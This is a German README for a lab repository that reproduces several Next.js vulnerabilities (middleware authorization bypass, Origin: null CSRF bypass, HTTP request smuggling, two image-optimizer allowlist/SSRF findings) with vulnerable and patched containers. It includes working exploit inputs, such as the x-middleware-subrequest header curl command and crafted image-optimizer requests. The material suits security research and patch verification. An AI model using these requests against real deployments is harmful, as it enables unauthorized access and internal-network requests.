
Einige Proof-of-Concept (POCs) für CVE-2025-29927, CVE-2026-27978 und CVE-2026-29057 in Next.js.
Dieses Repository enthält reproduzierbare Proof-of-Concept-Umgebungen für drei Next.js-Sicherheitslücken. Jeder PoC enthält ein verwundbares Ziel, ein behobenes Ziel und ein Skript, das den Verhaltensunterschied zwischen beiden demonstriert.
Das Ziel dieses Projekts ist es, die Grundursache und die praktischen Auswirkungen jedes Problems in einer minimalen Umgebung leicht beobachtbar zu machen.
| CVE | Advisory | Auswirkung | Verwundbare Version | Behobene Version |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | Autorisierungsbypass, wenn die Zugriffskontrolle nur auf Middleware basiert | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | Origin: null-Bypass der Server Actions CSRF-Prüfungen | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | HTTP-Request-Smuggling durch Rewrites an ein externes Backend | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | lokaler Quellcode-Audit-Fund | Bypass der Remote-Allowlist des Bildoptimierers durch Weiterleitungen | 16.2.4 | nicht verifiziert |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | lokaler Quellcode-Audit-Fund | Lokale URL des Bildoptimierers kann durch externe Rewrites privaten Upstream erreichen | 16.2.4 | nicht verifiziert |
Die unten stehenden Hashes stammen aus dem Upstream vercel/next.js.
| CVE | Verwundbarer Release-Commit | Behobener Release-Commit | Relevanter Patch-Commit |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose verfügbar ist.docker compose up --build
Freigegebene Ports:
3001 -> CVE-2025-29927 verwundbar3002 -> CVE-2025-29927 behoben3003 -> CVE-2026-27978 verwundbar3004 -> CVE-2026-27978 behoben3005 -> CVE-2026-29057 verwundbar3006 -> CVE-2026-29057 behoben3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEIn diesem PoC ist /dashboard nur durch Middleware geschützt:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
Die Autorisierungsprüfung selbst ist nicht falsch. Das Problem ist, dass die Route vollständig von der Annahme abhängt, dass die Middleware-Ausführung nicht übersprungen werden kann.
In betroffenen Next.js-Versionen konnten externe Anfragen weiterhin den internen Header x-middleware-subrequest liefern, und die Laufzeit behandelte diesen Wert als vertrauenswürdige Middleware-Metadaten. Die relevante verwundbare Logik war:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest wurde dort nicht gefiltert, sodass vom Angreifer kontrollierte Eingaben die Middleware-Laufzeit erreichen konnten. Dieser Wert wurde dann verwendet, um die Rekursionstiefe abzuleiten:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Wenn ein Angreifer middleware:middleware:middleware:middleware:middleware sendet, könnte die Laufzeit schlussfolgern, dass die Rekursionstiefe bereits erreicht wurde, und die Anfrage weiterleiten, ohne die Anwendungs-Middleware auszuführen.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Erwartetes Verhalten:
3001 gibt eine Weiterleitung ohne den Exploit-Header zurück, aber 200 OK mit x-middleware-subrequest.3002 leitet weiterhin zu /login um, da der interne Header von externen Eingaben nicht mehr als vertrauenswürdig angesehen wird.Dieser PoC stellt eine normale Server Action bereit, die serverseitigen Zustand ändert:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
Das Problem liegt nicht in transferFunds() selbst. Das verwundbare Verhalten lag in der Next.js CSRF-Validierung für Server Actions. In betroffenen Versionen wurde Origin: null wie eine fehlende Herkunft behandelt, anstatt wie eine explizite undurchsichtige Herkunft:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Da 'null' zu undefined wurde, konnten Anfragen von undurchsichtigen Herkünften wie sandboxed iframes den Host/Origin-Vergleichspfad umgehen und dennoch mit den Cookies des Opfers verarbeitet werden.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Erwartetes Verhalten:
Origin: null.Dieser PoC schreibt /rewrites/:path* auf ein externes Backend um:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
Das verwundbare Verhalten lag in der eingebundenen http-proxy-Abhängigkeit, die von Next.js für Rewrites verwendet wird. In betroffenen Versionen konnte die Proxy-Logik für DELETE- und OPTIONS-Anfragen content-length: 0 hinzufügen und transfer-encoding entfernen:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Das führte zu einer Diskrepanz bei der Anfragegrenze zwischen der Proxy-Kette und dem Backend, wenn eine manipulierte chunked-Anfrage weitergeleitet wurde. Infolgedessen konnte eine zweite Anfrage über dieselbe Verbindung zum Backend geschmuggelt werden.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Erwartetes Verhalten:
DELETE /rewrites/poc-Anfrage mit einer geschmuggelten GET /secret-Anfrage.DELETE /rewrites/poc als auch GET /secret auf.Beispielausgabe:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
Der lokale next.js-16.2.4-Quellcode validiert images.remotePatterns nur für den ursprünglichen url-Parameter in ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Der Netzwerk-Fetch-Pfad folgt dann rekursiv Weiterleitungen in fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Dieser rekursive Aufruf behält die Private-IP-Prüfung bei, erhält aber keine domains / remotePatterns und wendet sie auch nicht erneut an. Eine konfigurierte erlaubte Bildherkunft kann den Optimierer daher auf eine andere öffentliche Herkunft umleiten, die die ursprüngliche Bild-Allowlist nicht bestehen würde.
Der PoC verwendet localhost-Dienste und setzt dangerouslyAllowLocalIP: true nur, damit das Allowlist-Verhalten ohne externe Infrastruktur reproduziert werden kann. Die konfigurierte Bild-Allowlist erlaubt nur http://127.0.0.1:4100/allowed/**; dieser Server leitet auf http://127.0.0.1:4200/blocked/private.png um, und der zweite Server zeichnet auf, ob er erreicht wurde.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Erwartetes Verhalten:
4100.4200 um, die außerhalb von images.remotePatterns liegt.4200 GET /blocked/private.png auf.curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Verwenden Sie das bereitgestellte Skript, da das Server Action-Feld dynamisch vom Server generiert wird.
Verwenden Sie das bereitgestellte Skript, da der Exploit auf einer rohen TCP-Nutzlast mit einer geschmuggelten zweiten Anfrage basiert.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Für eine lokale Bild-URL validiert ImageOptimizerCache.validateParams() nur den lokalen Pfadnamen gegen images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Der interne Fetch-Pfad tritt dann erneut in den Next.js-Request-Handler ein:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Wenn die passende lokale Route als externes Rewrite konfiguriert ist, kann die Anfrage an dieses externe Ziel weitergeleitet werden. Dieser Pfad ruft fetchExternalImage() nicht auf, daher wird der für absolute Bild-URLs verwendete Private-IP-Schutz nicht auf das umgeschriebene Ziel angewendet.
Der PoC erlaubt nur lokale Bild-URLs unter /allowed/** und schreibt diesen Pfad dann auf http://127.0.0.1:4300/private/:path* um:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Erwartetes Verhalten:
/allowed/secret.png, da es mit images.localPatterns übereinstimmt.http://127.0.0.1:4300/private/secret.png an.GET /private/secret.png auf.curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state